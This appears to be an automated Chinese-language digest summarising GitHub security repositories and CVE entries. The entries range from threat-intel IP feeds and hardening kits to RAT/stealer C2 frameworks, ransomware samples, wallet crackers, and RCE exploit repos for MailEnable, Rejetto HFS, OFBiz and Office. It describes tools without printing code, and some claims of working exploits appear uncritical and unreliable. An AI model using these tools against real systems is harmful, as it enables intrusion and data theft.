2	实现基础的安全检测功能，辅助漏洞分析
3	持续更新，显示在攻防研究中的实用性
4	与搜索关键词'security tool'高度相关，强调安全攻防应用

🛠️ 技术细节

主要通过Bash脚本实现多系统兼容的网络检测工具，例如端口扫描和信息收集脚本

利用常用网络命令（如ping、traceroute、whois）进行安全信息探测

集成了安装及配置脚本，方便部署和使用

🎯 受影响组件

• 网络端口和服务
• 目标系统的安全信息

⚡ 价值评估

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该仓库聚焦于网络安全测试工具，提供多功能渗透实用脚本，具备技术实操性和持续更新的潜力，符合搜索关键词'security tool'中的安全研究和渗透测试用途，具有一定研究价值。

hack-crypto-wallet - 探索区块链和加密钱包安全的工具

📌 仓库信息

属性	详情
仓库名称	hack-crypto-wallet
风险等级	`MEDIUM`
安全类型	`漏洞利用/安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库围绕区块链技术和加密钱包展开，提供破解钱包密码的技术手段，可能涉及安全漏洞利用。

🔍 关键发现

序号	发现内容
1	工具用于破解加密钱包密码，涉及安全漏洞利用技术
2	利用先进的加密破解方法，意在恢复密码，涉及潜在安全漏洞
3	研究内容具有潜在安全风险，可能被用于恶意攻击
4	对钱包安全性和加密算法验证具有一定测试价值

🛠️ 技术细节

使用加密破解技术，可能涉及弱密码攻击、攻击加密算法或利用安全缺陷

安全影响分析：若工具被用于未授权访问，将威胁钱包安全，存在被滥用风险

🎯 受影响组件

• 加密钱包存储及管理系统
• 区块链钱包安全机制

⚡ 价值评估

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仓库提供针对钱包密码破解的技术手段，涉及潜在的安全漏洞利用和安全检测，有助于提升钱包安全性或模拟攻击测试，是安全研究的价值内容。

dogpack - 网站信息收集及安全分析工具

📌 仓库信息

属性	详情
仓库名称	dogpack
风险等级	`MEDIUM`
安全类型	`漏洞利用/安全检测`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库是用于分析网站安全状况的工具，更新主要增强了网站漏洞检测功能，包括XSS测试能力。

🔍 关键发现

序号	发现内容
1	基于Python的Web安全检测工具
2	新增XSS漏洞检测功能
3	提升漏洞扫描能力
4	旨在识别和验证网站安全漏洞

🛠️ 技术细节

采用Python实现多项网站安全检测，包括XSS漏洞测试。

引入自动化检测脚本，增强漏洞发现效率。

安全影响：增强了对网站常见安全漏洞的检测能力，有助于提前识别潜在威胁。

🎯 受影响组件

• Web应用程序
• 漏洞检测模块

⚡ 价值评估

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此次更新增加了XSS漏洞检测功能，是关键的安全漏洞检测技术，提升了工具的安全能力和实用性。

Retro-C2 - 基于Web的远控与信息窃取工具

📌 仓库信息

属性	详情
仓库名称	Retro-C2
风险等级	`HIGH`
安全类型	`渗透测试/漏洞利用/远控工具`

📊 代码统计

分析提交数: 5
变更文件数: 4

💡 分析概述

该仓库为一款用Golang与C++构建的Web端RAT和窃取工具，具备远程控制、密码窃取等功能，核心在于远控与信息收集，具备一定安全研究价值。

🔍 关键发现

序号	发现内容
1	实现Web基础的远程访问和控制功能
2	具备密码窃取等信息窃取特性
3	安全相关内容集中于远控与窃取技术，符合渗透测试工具范畴
4	与搜索关键词'c2'高度相关，属于常用C2框架类型

🛠️ 技术细节

使用Golang和C++开发，利用WebSocket等技术实现远程指令控制

包含远控界面、命令执行、信息窃取模块，核心在远控通道的建立与管理

🎯 受影响组件

• Web端控制界面
• 远控通信模块
• 窃取功能模块

⚡ 价值评估

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仓库表现出完整的Web基础远控（C2）框架，支持命令控制和信息窃取，技术内容丰富，符合渗透测试与红队工具的需求，关键词'c2'高度相关，具备一定研究和实战应用价值。

spydithreatintel - 威胁情报指标共享仓库

📌 仓库信息

属性	详情
仓库名称	spydithreatintel
风险等级	`HIGH`
安全类型	`漏洞利用/安全修复/安全工具/安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 45

💡 分析概述

该仓库主要收集和更新安全事件中的IOC、恶意域名及IP列表。此次更新添加了多个C2域名、恶意IP及相关域名条目，涉及钓鱼、C2通讯和恶意行为相关指标，增加了恶意IP和域名的覆盖范围。

🔍 关键发现

序号	发现内容
1	收集和分享安全事件IOC、恶意域名与IP
2	增加大量新发现的C2域名、恶意IP地址和钓鱼域名
3	安全相关变更：多处新增可疑C2通信域名和IP段
4	影响说明：可能用于入侵检测、威胁识别和源追踪，帮助防御系统识别最新威胁指标

🛠️ 技术细节

通过OSINT和安全响应渠道不断更新指标列表，包含不同等级信誉的域名和IP，涉及利用、钓鱼、C2等攻击相关指标，增强威胁检测能力。

新增的C2域名和IP地址为已确认的威胁通信节点，有助于匹配、拦截相关攻击流量，提升防御效果。

🎯 受影响组件

• 入侵检测系统
• 安全事件响应平台
• 威胁情报分析工具

⚡ 价值评估

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多处新增C2域名和恶意IP，显著扩展了威胁指标数据库，有助于检测最新攻击手法，提升网络安全防护水平。

malefic - 隐蔽C2基础架构与反沙箱技术

📌 仓库信息

属性	详情
仓库名称	malefic
风险等级	`HIGH`
安全类型	`安全修复/安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 6

💡 分析概述

该仓库包含IoM植入物、C2框架和基础设施，最新更新优化了反沙箱和反调试机制，增强了隐蔽性。

🔍 关键发现

序号	发现内容
1	提供了恶意C2基础架构和工具
2	Disable anti-sandbox and anti-VM措施，提升环境检测规避能力
3	升级TLS配置，支持更复杂的通信加密，增强数据传输隐蔽性
4	未披露具体漏洞利用代码或安全检测功能

🛠️ 技术细节

修改config.yaml中的反沙箱设置，关闭沙箱和虚拟机检测

在构建脚本中调整生成参数，优化植入效果和通信稳定性

TLS配置强化，启用自动版本检测及SNI设置，提升通信安全和规避检测

配置文件定义了多层次的TLS安全参数，有助于增强C2通信的隐蔽性

🎯 受影响组件

• C2通信模块
• 植入物反检测机制
• TLS通信实现

⚡ 价值评估

展开查看详细评估

更新重点在于增强C2通信的隐蔽性和反检测能力，支撑更隐匿的渗透和控制行为，但未直接包含漏洞利用代码或检测功能。

ransomware_with_c2_server - 包含C2指挥控制的勒索软件示例

📌 仓库信息

属性	详情
仓库名称	ransomware_with_c2_server
风险等级	`HIGH`
安全类型	`安全研究`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库展示了一个带有C2服务器的勒索软件样本，核心功能包括文件加密和与C2通信，具有一定的安全研究价值。

🔍 关键发现

序号	发现内容
1	实现了基于Qt和Boost.Asio的C2通信机制
2	具备文件加密（AES-256）和指令控制能力
3	用于演示勒索软件行为及C2交互
4	与搜索关键词'c2'高度相关，核心在于C2控制机制

🛠️ 技术细节

使用C++结合Qt实现GUI界面，Boost.Asio负责网络通信，通过TCP套接字实现指令传输，OpenSSL进行文件加密。

🎯 受影响组件

• 系统文件存储（加密/解密功能）
• 网络通信模块（C2通信接口）

⚡ 价值评估

展开查看详细评估

该仓库核心展示了带有C2控制功能的勒索软件样本，包括通信机制和加密技术，符合安全研究与漏洞利用的价值定位。尽管简洁，但实质性技术内容丰富，适合渗透测试与红队训练。

ThreatFox-IOC-IPs - 收集ThreatFox威胁IP列表，用于安全分析

📌 仓库信息

属性	详情
仓库名称	ThreatFox-IOC-IPs
风险等级	`MEDIUM`
安全类型	`安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 5

💡 分析概述

该仓库持续更新ThreatFox平台收集的威胁IP地址列表，包含与C2控制相关IP的变更，旨在辅助安全检测与防御。

🔍 关键发现

序号	发现内容
1	维护ThreatFox威胁IP地址列表
2	频繁更新不同时间段的IP，部分IP与C2控制相关
3	包含与C2相关的IP，可能用于监控和检测
4	提供实时威胁情报，辅助安全场景中的IP过滤和检测

🛠️ 技术细节

通过自动化脚本定期提取ThreatFox公布的IP列表，更新ips.txt文件

收录的IP涵盖与C2有关的潜在威胁源，用于检测和阻止恶意通信

未实现具体利用代码或漏洞验证，只是威胁情报的集成

安全影响主要在于提供信息支持，辅助识别与C2相关的网络活动

🎯 受影响组件

• 入侵检测系统（IDS）
• 防火墙IP过滤规则
• 安全信息与事件管理（SIEM）
• 威胁情报分析工具

⚡ 价值评估

展开查看详细评估

该仓库提供基于ThreatFox平台的动态威胁IP列表，尤其关注C2相关IP，有助于检测和阻断恶意控制通信，对于网络安全检测具有一定价值。虽不含漏洞利用代码，但其内容直接关联安全防护措施的增强。

CVE-2022-36934 - MailEnable Auth Bypass RCE

📌 漏洞信息

属性	详情
CVE编号	CVE-2022-36934
风险等级	`CRITICAL`
利用状态	`POC可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 02:28:48

📦 相关仓库

mailenable-cve-2022-36934

💡 分析概述

该CVE描述了MailEnable的身份验证绕过漏洞，可导致RCE。给定的GitHub仓库提供了Metasploit模块来利用该漏洞。仓库的初始提交包含一个README.md文件，简单介绍了项目。没有其他代码，因此目前无法进行深入的代码分析。漏洞利用方式：攻击者利用身份验证绕过漏洞，实现远程代码执行。

🔍 关键发现

序号	发现内容
1	MailEnable身份验证绕过漏洞
2	可导致RCE
3	提供Metasploit模块
4	初始提交

🛠️ 技术细节

漏洞原理：MailEnable存在身份验证绕过漏洞，具体绕过方式未知，但可以实现RCE。

利用方法：通过Metasploit模块利用该漏洞。

修复方案：使用修复后的MailEnable版本

🎯 受影响组件

• MailEnable

⚡ 价值评估

展开查看详细评估

该漏洞可导致RCE，且提供了Metasploit模块，表明存在可用的漏洞利用代码。

CVE-2025-45778 - The Language Sloth Web Application v1.0存储型XSS漏洞

📌 漏洞信息

属性	详情
CVE编号	CVE-2025-45778
风险等级	`HIGH`
利用状态	`POC可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 02:28:47

📦 相关仓库

CVE-2025-45778

💡 分析概述

该漏洞允许经过身份验证的用户在创建项目时，将恶意payload注入Description字段，从而实现存储型跨站脚本攻击，攻击者可执行任意JavaScript代码，影响所有访问含有恶意内容的页面的用户。

🔍 关键发现

序号	发现内容
1	漏洞为存储型XSS，影响所有访问被注入内容页面的用户
2	影响版本为The Language Sloth Web Application v1.0
3	需授权用户创建项目后注入payload，攻击条件为已登录用户

🛠️ 技术细节

漏洞原理：用户在Description字段注入恶意脚本，服务器存储后在页面渲染时执行脚本

利用方法：登录系统，编辑项目Description字段，插入等payload，保存后触发XSS

修复方案：对输入内容进行严格的HTML编码或过滤，确保不执行恶意脚本

🎯 受影响组件

• The Language Sloth Web Application v1.0

💻 代码分析

分析 1:

提交内容提供了明确的漏洞描述和示例payload，代码变更中主要是在文档中说明，无复杂代码分析。

分析 2:

描述内容充足，具备利用条件，验证手段明确。

分析 3:

代码质量良好，说明作者了解漏洞影响，并提供了修复建议。

⚡ 价值评估

展开查看详细评估

该漏洞为存储型XSS，影响所有访问恶意内容页面的用户，且已披露可用利用代码，危害较大，且影响广泛用户群，属于高风险类漏洞。

CVE-2025-44228 - Office文件利用CVE-2025-44228进行远程代码执行

📌 漏洞信息

属性	详情
CVE编号	CVE-2025-44228
风险等级	`CRITICAL`
利用状态	`POC可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 00:57:15

📦 相关仓库

Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud

💡 分析概述

该漏洞利用Office文档（包括DOC、DOCX）通过恶意载荷实现远程代码执行，影响Microsoft Office平台如Office 365。存在利用工具和POC，有详细的利用方法，影响广泛，具有高危害。

🔍 关键发现

序号	发现内容
1	利用Office文档通过漏洞实现远程代码执行
2	影响Office 365及相关Office版本
3	存在完整的利用代码和工具链，可被攻击者快速部署

🛠️ 技术细节

漏洞原理：通过Office文档中嵌入恶意代码或载荷，利用CVE-2025-44228的漏洞点实现远程控制

利用方法：攻击者构建恶意Office文件，利用公开的漏洞代码或工具发起攻击

修复方案：应用Microsoft提供的补丁或升级到最新版本，关闭漏洞接口

🎯 受影响组件

• Microsoft Office 365及相关Office版本

💻 代码分析

分析 1:

POC和利用代码已在存储库中展示，容易复现

分析 2:

代码结构清晰，有测试用例支持验证

分析 3:

存在高质量的利用方案，易被攻击者采用

⚡ 价值评估

展开查看详细评估

该漏洞影响广泛流行的办公软件，具有完整的利用工具和明确的利用流程，存在远程代码执行风险，具有极高的危害性和实用性。

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 - 针对Rejetto HTTP File Server 2.3.x的远程代码执行利用

📌 仓库信息

属性	详情
仓库名称	rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287
风险等级	`HIGH`
安全类型	`漏洞利用框架/渗透测试工具`

📊 代码统计

分析提交数: 3
变更文件数: 3

💡 分析概述

提供CVE-2014-6287的详细利用脚本和技术解析，主要用于渗透测试中的远程命令执行验证。

🔍 关键发现

序号	发现内容
1	包含针对Rejetto HTTP File Server 2.3.x的远程命令执行（RCE）漏洞的详细利用代码（POC）
2	实现了基于漏洞的远程代码执行，具备实用性和攻击性
3	用于安全研究和渗透测试中验证漏洞利用路径
4	高度相关于搜索关键词【RCE】，核心功能即漏洞利用

🛠️ 技术细节

利用HTTP请求中的参数注入实现远程指令执行，代码中通过定制payload覆盖目标执行环境

采用Python脚本模拟实际漏洞利用流程，涉及漏洞触发机制和执行流程分析

🎯 受影响组件

• Rejetto HTTP File Server 2.3.x

⚡ 价值评估

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仓库提供了具有实质性的漏洞利用代码（PoC），专注于RCE漏洞，技术内容完整，具有安全研究价值，同时紧扣搜索关键词。由于直接对应安全漏洞且可用于红队渗透测试，因此符合价值判断标准。

mailenable-cve-2022-36934 - MailEnable RCE 漏洞Metasploit模块

📌 仓库信息

属性	详情
仓库名称	mailenable-cve-2022-36934
风险等级	`CRITICAL`
安全类型	`漏洞利用`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库提供了一个针对MailEnable CVE-2022-36934漏洞的Metasploit模块，该漏洞允许身份验证绕过并最终实现RCE（远程代码执行）。初始提交定义了该模块的基础功能，包括利用漏洞实现RCE的能力。由于是针对RCE漏洞，因此该更新具有极高的安全风险。

🔍 关键发现

序号	发现内容
1	提供针对MailEnable CVE-2022-36934漏洞的Metasploit模块。
2	该模块允许身份验证绕过。
3	漏洞最终导致RCE（远程代码执行）。
4	初始提交定义了模块的基本功能

🛠️ 技术细节

该模块利用MailEnable中的身份验证绕过漏洞。

成功利用后，攻击者可以远程执行代码。

该模块基于Metasploit框架实现，方便渗透测试人员使用。

🎯 受影响组件

• MailEnable邮件服务器
• Metasploit框架

⚡ 价值评估

展开查看详细评估

该仓库提供了针对一个已知高危漏洞（CVE-2022-36934）的Metasploit模块，可以直接用于漏洞利用，极具实战价值。

Ofbiz-RCE - 针对Apache OFBiz的RCE漏洞利用脚本

📌 仓库信息

属性	详情
仓库名称	Ofbiz-RCE
风险等级	`CRITICAL`
安全类型	`漏洞利用框架`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库提供针对CVE-2024-38856的远程代码执行漏洞利用脚本，支持命令执行和反弹shell，具有实质性的漏洞利用功能。

🔍 关键发现

序号	发现内容
1	专门针对Apache OFBiz的RCE漏洞（CVE-2024-38856）
2	实现远程代码执行和反弹shell功能
3	提供利用脚本和操作指南，具备实质的漏洞利用内容
4	与RCE搜索关键词高度相关，核心在漏洞利用

🛠️ 技术细节

利用未知漏洞中的POST请求中Groovy代码注入实现代码执行

支持命令执行和反弹shell，涉及漏洞的实际利用技术

没有明显的安全增强或检测模块，仅为漏洞利用脚本

🎯 受影响组件

• Apache OFBiz Web应用组件

⚡ 价值评估

展开查看详细评估

仓库紧扣RCE关键词，提供实用的漏洞利用代码，针对实际存在的远程代码执行漏洞，技术内容实质性强，符合安全研究与渗透测试需求。

CMD-Exploit-CVE-2024-RCE-AboRady-FUD-25765-Injection - 针对CVE-2024的远程代码执行利用工具

📌 仓库信息

属性	详情
仓库名称	CMD-Exploit-CVE-2024-RCE-AboRady-FUD-25765-Injection
风险等级	`CRITICAL`
安全类型	`漏洞利用`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5

💡 分析概述

该仓库主要开发用于CVEs的远程代码执行漏洞利用，包含利用框架和Poc，强调隐蔽性和检测规避，近期更新或优化了利用代码或技术手段。

🔍 关键发现

序号	发现内容
1	利用远程代码执行漏洞(CVE-2024)，进行安全攻防测试
2	更新了利用代码或技术手段，提高利用成功率或隐蔽性
3	涉及利用框架和Poc，增强漏洞利用能力
4	影响目标系统的安全性，可能被用于渗透攻击

🛠️ 技术细节

利用框架和已存在的漏洞数据库，实现自动化攻击脚本或利用策略，可能结合最新的漏洞信息优化有效性

通过结构设计实现静默执行，避免检测和防御措施，增加攻击的隐蔽性和成功率

潜在的安全影响包括利用漏洞取得目标系统控制权限

🎯 受影响组件

• 受影响的系统可能包括存在对应漏洞的操作系统或应用

⚡ 价值评估

展开查看详细评估

仓库专注于开发与CVEs相关的远程代码执行利用，结合最新漏洞信息和技术变更，具备较高的安全价值，适用于渗透测试和安全研究，符合漏洞利用创新和隐蔽性提升的标准

php-in-jpg - 生成嵌入PHP payload的JPG图片工具

📌 仓库信息

属性	详情
仓库名称	php-in-jpg
风险等级	`HIGH`
安全类型	`POC更新/漏洞利用`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库用于生成包含PHP远程代码执行payload的JPG图片，支持多种技术用于PHP RCE测试。

🔍 关键发现

序号	发现内容
1	生成含PHP payload的JPG图片，用于安全测试
2	新增支持Polyglot PHP RCE技术，支持多种嵌入方式
3	工具内容指向安全渗透测试，涉及PHP远程代码执行
4	可能用于绕过安全检测，进行安全验证或漏洞利用

🛠️ 技术细节

通过在JPG图片中嵌入PHP代码，支持内联和EXIF元数据注入两种技术，提升渗透技术多样性

技术上利用图像格式和Exif元数据的兼容性实现payload隐藏，增强利用方案复杂度

安全影响为：提供渗透测试中开发和验证PHP RCE漏洞的手段，有助检测存在的远程执行漏洞

🎯 受影响组件

• PHP应用程序容错处理
• Web服务器的文件上传及处理机制
• 图片处理与EXIF元数据解析

⚡ 价值评估

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该工具能帮助安全人员快速制作和测试包含PHP payload的图像文件，有助于识别和验证PHP RCE漏洞，具有显著的安全研究和渗透应用价值。

Lnk-Exploit-FileBinder-Certificate-Spoofer-Reg-Doc-Cve-Rce - 利用工具与CVE的漏洞利用框架

📌 仓库信息

属性	详情
仓库名称	Lnk-Exploit-FileBinder-Certificate-Spoofer-Reg-Doc-Cve-Rce
风险等级	`CRITICAL`
安全类型	`漏洞利用/POC开发`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 5

💡 分析概述

该仓库涉及利用LNK文件进行远程代码执行（RCE），包含漏洞利用技术和相关工具开发，主要关注CVEs和LNK文件利用方法，以实现隐蔽的远程攻击。

🔍 关键发现

序号	发现内容
1	利用LNK文件执行远程代码（RCE）
2	更新内容包括新漏洞利用技术或POC
3	涉及CVE-2025-44228相关漏洞利用信息
4	可能影响系统安全和提供攻击示例

🛠️ 技术细节

采用LNK文件生成与Payload工具，利用已知漏洞（如CVE-2025-44228）实现远程代码执行。

具备漏洞利用技术细节，可能包括payload构造方法、利用流程以及绕过防护措施的技术手段。

存在潜在的安全风险，可能被用作攻击、渗透测试或恶意用途。

🎯 受影响组件

• Windows操作系统LNK文件处理模块
• 相关CVE漏洞关联的系统组件

⚡ 价值评估

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该仓库直接涉及漏洞利用技术，特别是针对CVE-2025-44228的RCE利用方法，具备高级渗透测试和攻防模拟价值，符合安全研究与漏洞利用的核心范畴。

TOP - 安全测试与漏洞利用示例仓库

📌 仓库信息

属性	详情
仓库名称	TOP
风险等级	`HIGH`
安全类型	`POC更新`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

包含多个漏洞CVEs的利用PoC示例，最近更新增加CVE-2018-20250和CVE-2025-33073的EXP，主要涉及安全漏洞利用代码。

🔍 关键发现

序号	发现内容
1	提供多项安全漏洞利用PoC（如CVE-2018-20250、CVE-2025-33073等）
2	包含最新的EXP和演示脚本用于漏洞验证
3	更新内容增加了特定漏洞的利用代码
4	影响安全研究与漏洞验证的相关环节

🛠️ 技术细节

仓库收集多项漏洞的EXP和POC，部分内容为实际利用代码，用于测试和验证漏洞利用机制。

技术实现主要为编写特制payload或利用脚本，聚焦于远程代码执行（RCE）效果。

安全影响在于提供了快速验证漏洞存在性和演示攻击的工具，但可能被滥用进行恶意攻击。

🎯 受影响组件

• 目标漏洞相关系统和服务
• CVEs涉及的应用程序或协议

⚡ 价值评估

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仓库包含针对多个高危安全漏洞的利用Exp，更新显著提高利用能力和演示效果。内容直接涉及远程代码执行，有助于安全研究和漏洞验证。

Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud - 针对Office漏洞的利用工具

📌 仓库信息

属性	详情
仓库名称	Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud
风险等级	`HIGH`
安全类型	`漏洞利用`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 5

💡 分析概述

该仓库开发了针对CVE-2025-44228等漏洞的利用工具，涉及Office文档RCE攻击，提供恶意payload生成和利用脚本，关注安全漏洞利用和攻防技术。

🔍 关键发现

序号	发现内容
1	利用针对CVE-2025-44228的漏洞进行远程代码执行
2	使用工具构建恶意Office文档（如XML、DOC、DOCX）以实现RCE
3	涉及安全漏洞的利用方法和payload生成
4	可能影响Office平台的安全防护

🛠️ 技术细节

开发了可生成针对特定漏洞的Exploits的脚本，可能包括payload注入和文档漏洞利用技术

利用偏向于远程代码执行的技术实现，影响Office 365等平台

存在利用漏洞进行恶意payload植入的技术细节，这对安全防护提出挑战

🎯 受影响组件

• Microsoft Office软件及其文档处理模块
• 漏洞CVE-2025-44228相关的Office组件

⚡ 价值评估

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该仓库包含针对已公开漏洞的利用实现，提供实际的exploit工具，具有明显的渗透测试和安全研究价值，符合安全漏洞利用相关标准

Chunwebscan - 轻量级自动化网页漏洞扫描工具

📌 仓库信息

属性	详情
仓库名称	Chunwebscan
风险等级	`MEDIUM`
安全类型	`漏洞利用框架/安全研究`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

ChunWebScan是一款自动化网页漏洞扫描工具，非常适合安全研究和渗透测试，包含多种安全检测模块。

🔍 关键发现

序号	发现内容
1	支持多种网页漏洞检测功能，包括SQL注入、路径遍历、命令注入等
2	集成多种开源扫描工具（如Nikto、Dirb、Gobuster、SQLMap、WhatWeb）实现漏洞检测
3	提供详细扫描报告，适合安全研究与漏洞验证
4	核心目标为发现网站潜在漏洞，符合渗透测试和漏洞利用的需求
5	与搜索关键词‘漏洞’高度相关，具有实质性漏洞检测内容

🛠️ 技术细节

采用脚本整合多个开源安全工具，自动化执行多阶段扫描任务

通过命令行参数定制扫描类型、深度和技术细节

结合多工具输出分析，识别潜在安全威胁

支持定制字典、配置参数，提升漏洞检测灵活性

🎯 受影响组件

• Web服务器技术组件（如Apache、Nginx等）
• Web应用程序及后台框架
• 潜在存在SQL注入、路径穿越、命令注入等漏洞的应用层

⚡ 价值评估

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仓库具备自动化整合多种安全检测模块，核心功能直指漏洞检测，非常符合安全研究和渗透测试的需求，内容实质性强且技术内容丰富。其多工具集成和漏洞验证能力为安全攻防提供实际价值，符合搜索关键词‘漏洞’的高度相关性。

wxvl - 安全漏洞检测与情报分析工具及策略

📌 仓库信息

属性	详情
仓库名称	wxvl
风险等级	`CRITICAL`
安全类型	`漏洞利用/安全修复/安全研究`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 4
变更文件数: 28

💡 分析概述

此次仓库主要涵盖多项网络安全漏洞的最新发现、详细分析、利用条件及修复建议，包括远程代码执行、权限提升、硬件及系统绕过等关键漏洞，部分内容涉及漏洞利用演示、PoC和具体攻击链分析，强调漏洞的危害性与应对措施，具有较强的安全实用价值。

🔍 关键发现

序号	发现内容
1	收录多个高危安全漏洞的详细分析和利用条件
2	包含CVSS评分9.8+的严重漏洞（如Windows wormable RCE、CVE-2025-48384等）
3	披露漏洞利用PoC和攻击路径，强化安全防范意识
4	提供漏洞修复建议与安全防护措施，有助于提前应对潜在攻击

🛠️ 技术细节

详细分析多个缓冲区溢出、远程代码执行、权限提升等漏洞，包括利用条件、攻击流程和防范措施，涉及微软Windows、Git、Redis、Linux Secure Boot等多个系统与软件。部分内容介绍漏洞利用的具体流程、POC和漏洞链条，具有较高的技术价值。

这些内容揭示了漏洞被利用的具体技术原理、条件与环境要求，并强调了修复与防护策略，明确了漏洞影响的系统范围，进一步强化安全防御措施。

🎯 受影响组件

• 微软Windows系统（多版本）
• Git版本控制工具
• Redis数据库（hyperloglog相关命令）
• Linux引导流程（Secure Boot绕过）
• 各大厂商的安全软硬件平台

⚡ 价值评估

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内容包含多个关键高危漏洞的详细解读、利用条件、PoC及修复建议，涉及系统核心安全组件，有较高的实战价值。部分漏洞的利用条件复杂，分析深入，能提升安全从业人员的应急响应能力和漏洞理解能力。多篇文章集中披露了最新、严重的安全威胁，符合漏洞安全研究的核心价值标准。

AWS-ThreatLab - AWS攻击场景模拟与检测验证工具

📌 仓库信息

属性	详情
仓库名称	AWS-ThreatLab
风险等级	`MEDIUM`
安全类型	`渗透测试与漏洞利用、安全评估工具`

📊 代码统计

分析提交数: 5
变更文件数: 22

💡 分析概述

该仓库实现了针对AWS的多种攻击场景模拟，包括权限提升、资源窃取、后门植入等，提供了攻击验证和检测报告功能，核心用于安全渗透和防御测试。

🔍 关键发现

序号	发现内容
1	集成多个AWS攻击场景模拟模块（IAM提升、S3 exfiltration、Lambda后门等）
2	具有安全检测验证和报告能力，支持检测流程模拟
3	实现安全漏洞利用和攻击验证技术，属于渗透测试工具范畴
4	与搜索关键词‘security tool’高度相关，尤其用于安全研究和渗透测试

🛠️ 技术细节

采用Python实现，调度AWS API（通过boto3）模拟复杂攻击场景

包含攻击检测验证、自动资源清理、威胁报告生成机制

利用CloudTrail事件监控及检测技术进行攻击模拟的验证

核心功能偏重攻击场景的自动化模拟和检测验证，具备一定实用性

🎯 受影响组件

• AWS IAM、S3、Lambda、EC2、CloudTrail等关键AWS服务

⚡ 价值评估

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该项目提供多场景实际攻击模拟，内容丰富且实用，符合安全研究和渗透测试工具标准，技术内容实质性强，能够帮助安全团队验证检测能力，具有较高价值。

fedora-security-hardening-toolkit - Fedora系统安全加固工具集

📌 仓库信息

属性	详情
仓库名称	fedora-security-hardening-toolkit
风险等级	`HIGH`
安全类型	`安全研究与漏洞检测工具集`

📊 代码统计

分析提交数: 5
变更文件数: 11

💡 分析概述

该仓库提供针对Fedora Linux系统的安全加固、合规实现及漏洞检测工具，通过脚本和配置文件实现系统的安全增强和合规验证，具有实质性安全技术内容。

🔍 关键发现

序号	发现内容
1	提供安全加固脚本和工具，支持CIS控制与NIST标准
2	包含安全审计、硬化以及验证的实用技术内容
3	具有实际漏洞检测、配置优化和合规验证功能，符合渗透测试与安全研究需求
4	与搜索关键词“security tool”高度相关，核心在安全漏洞利用、检测和系统防护

🛠️ 技术细节

利用Shell和Python脚本实现系统安全硬化、检测和验证，集成自动化流程

采用标准安全框架（CIS、NIST）进行配置和合规性检测，强调技术实质性

🎯 受影响组件

• Fedora Linux系统配置、安全策略、工具链

⚡ 价值评估

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仓库集中体现安全研究、漏洞检测、系统硬化等实质性安全技术内容，是渗透测试和安全防护实用工具，与搜索关键词“security tool”的核心需求高度匹配，不仅仅是文档或基础工具，而是具有技术深度的安全研究仓库。

PHPAuthScanner - PHP应用鉴权漏洞检测工具

📌 仓库信息

属性	详情
仓库名称	PHPAuthScanner
风险等级	`HIGH`
安全类型	`漏洞利用/安全修复`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该工具用于扫描PHP代码中的鉴权漏洞，通过分析代码中缺少身份验证逻辑的潜在风险，帮助开发者识别未授权访问风险，增强PHP应用的安全性。此次更新主要改进了扫描逻辑和检测效率。

🔍 关键发现

序号	发现内容
1	检测PHP应用中的鉴权漏洞
2	改进扫描算法和漏洞检测准确性
3	增强对PHP代码中的身份验证漏洞识别
4	影响PHP项目的安全检测流程

🛠️ 技术细节

采用静态代码分析技术，扫描PHP源代码中的鉴权缺失点

增强漏洞识别规则，提升误报和漏报的准确性

集成关键字检测和逻辑流分析，准确判断鉴权缺失的代码路径

安全影响：提升PHP应用的漏洞检测能力，有助于提前发现身份验证绕过风险

🎯 受影响组件

• PHP源码中的鉴权逻辑相关部分

⚡ 价值评估

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该仓库实现了针对PHP代码的鉴权漏洞检测，直接关联安全漏洞识别，并通过改进检测算法提升漏洞发现的准确性，具有明显的安全价值。

mcp-context-forge - 网络安全相关工具和安全增强功能

📌 仓库信息

属性	详情
仓库名称	mcp-context-forge
风险等级	`HIGH`
安全类型	`安全修复/安全增强`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 23

💡 分析概述

该仓库包含对MCP网关的安全优化改进，增强数据验证以防止XSS攻击，修复安全漏洞，调整访问策略，提升安全防护能力。

🔍 关键发现

序号	发现内容
1	对MCP网关进行安全改进，包括数据验证和安全策略调整
2	在版本0.3.1中增加了数据验证和安全防护措施，强化输入输出验证
3	加强验证规则以防止XSS注入
4	关闭管理界面和API的访问权限，限制在开发和测试环境

🛠️ 技术细节

利用Pydantic模型强化数据验证规则，增加对HTML、特殊字符的过滤，减少XSS风险

修改配置关闭UI和后台管理API，提升部署时的安全性

改善了安全策略文档，强调开发到生产环境的安全使用限制

对依赖和版本进行更新，确保安全组件的最新维护状态

🎯 受影响组件

• API接口数据验证模块
• 管理界面访问权限控制
• 配置文件安全策略设置
• 版本管理和依赖安全

